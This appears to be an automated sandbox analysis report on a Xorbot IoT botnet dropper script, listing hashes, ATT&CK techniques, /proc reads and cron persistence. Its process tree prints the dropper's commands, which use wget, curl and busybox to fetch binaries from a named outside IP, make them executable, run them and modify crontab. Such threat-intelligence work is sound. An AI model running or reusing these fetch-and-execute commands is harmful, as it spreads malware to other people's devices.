xorbot | 7a490d353198bd3e1da7874fea36e53461790e1cc7e6c5afc7761ae3a52f5344

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30-11-2024 13:17

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General

Target

bins.sh
Size

10KB
MD5

bdc09f065df19d01eba9a4e456122e8d
SHA1

9fcc847628cf1d5bb42ccf9d101fd0fd0d7d6851
SHA256

7a490d353198bd3e1da7874fea36e53461790e1cc7e6c5afc7761ae3a52f5344
SHA512

db69ef10f1144570e4c47c9c27a2a82eda6f9dcbcfc488f40fb22cd295f50ce2cb29fdb9eaf50d7e52720e44323f700979ddd17843bc0a60e06092dcdfe5a0be
SSDEEP

192:h0kQ6fDzSTBYBoBYBhB9B9dGBOhk2kQ6fDzGBYBoBYBhB9Bu:hAUGBOWy

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2167) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1493	chmod
1503	chmod

Executes dropped EXE 2 IoCs

Processes:

vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFqPmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

ioc	pid	Process
/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	1494	vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj	1504	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

Renames itself 1 IoCs

Processes:

PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

pid	Process
1505	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.E7KBOB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

description	ioc	Process
File opened for reading	/proc/36/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/701/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1600/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/159/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1471/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1676/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1789/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/84/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1515/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1567/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1595/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1763/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1786/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1609/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1636/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1731/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/459/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1574/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1578/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1646/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1766/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/35/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1719/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1745/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1625/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1668/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1796/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/948/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1221/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1575/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1619/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1753/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1768/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/16/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1240/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1732/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1649/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1765/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/588/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1559/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1174/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1722/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1791/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1126/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1136/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1470/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1606/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1764/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1767/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1762/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/5/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/129/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1050/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1523/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1638/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1669/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/480/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1005/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1659/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1779/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1787/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/424/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1679/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
File opened for reading	/proc/1570/cmdline	PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	wget
File opened for modification	/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	curl
File opened for modification	/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq	busybox
File opened for modification	/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj	wget
File opened for modification	/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj	curl
File opened for modification	/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1478
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1479
- /usr/bin/wget
  wget http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - Writes file to tmp directory
  PID:1480
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/chmod
  chmod 777 vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  ./vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  - Executes dropped EXE
  PID:1494
- /bin/rm
  rm vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - Writes file to tmp directory
  PID:1497
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/chmod
  chmod 777 PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  ./PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1504
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1506
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1507
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1508
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1509
- /bin/rm
  rm PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://216.126.231.240/bins/tzTLp9eTUMsf0y8CBAKBmpOeuUVlVVYMoz
  2⤵
  PID:1514

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/PmMK7oQitIQRxPag7BUKfC728rVsdJw2pj

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vKJRdpqdQ1jMg21snRDI4AzZu1qvU8qHFq

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.E7KBOB

Filesize
210B

MD5
030b4052ab9cc87eaa626b83f6027184

SHA1
937b487a2b52768f0954581fa9af28d084842b13

SHA256
bcfe1eb4f05993ffd9c2a5cc54ca29dd68cec87d240b29c5e2494ffefe4e1d13

SHA512
79d0a3ae524593897a243a07b82c79e9be4ff9c1ca280ceb63aef015eb22d728addedadbc6e603633e3f2ab7e8ba4f396d35e8e40197ce5245eef3cda9b16a37

Download Submit